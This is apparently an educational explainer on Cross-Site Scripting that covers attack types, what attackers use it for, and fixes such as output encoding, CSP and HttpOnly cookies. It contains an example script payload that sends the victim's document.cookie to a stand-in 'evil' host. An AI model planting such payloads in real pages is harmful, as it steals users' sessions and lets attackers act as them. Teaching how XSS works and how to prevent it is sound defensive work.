In a nutshell Cross-Site Scripting (XSS) is injecting your JavaScript into a page so it runs in another user's browser. Where SQL injection targets the server's database, XSS targets the visitors — stealing their session, acting as them, or defacing what they see. Same root cause: untrusted input treated as code, this time on the page.
Why a browser runs the attacker's script
A browser trusts whatever the page sends it. If a site drops user input into the HTML without escaping, an attacker can supply not text but a <script>:
<!-- the site echoes your input into the page: -->
<p>Search results for: [input]</p>
<!-- you submit: -->
<script>fetch('https://evil/c?'+document.cookie)</script>
<!-- the browser runs it, with the victim's session -->
The browser can't tell "content the site meant" from "content an attacker slipped in" — it just executes.
Analogy — a forged note in an official folder. You slip a note into a trusted folder; the reader follows it as genuine. XSS plants your instructions inside a page the victim's browser already trusts.
The worst kind — stored XSS
| Kind | Where the script lives | Reach |
|---|---|---|
| Stored | saved on the server (a comment, a bio) | everyone who views it — the worst |
| Reflected | in a crafted URL, bounced back in the response | only who clicks your link |
| DOM-based | in the page's own JS reading the URL | server may never see it |
What it's actually used for
- Session theft — read
document.cookieand exfiltrate it (defeated by theHttpOnlyflag, which hides cookies from JS). - Acting as the victim — make requests as them: change their email, post, trigger admin actions.
- Phishing / defacement — inject a fake login form into the real, trusted site.
Finding and fixing
Finding: drop a harmless marker like "><i>x or <b>test</b> into every field/parameter and see if it renders as HTML instead of text. If it does, the input isn't escaped.
The cause
- user input written into the page unescaped
<script>runs as code
The fix
- output-encode data →
<script>shows as text - + strict CSP header, + HttpOnly cookies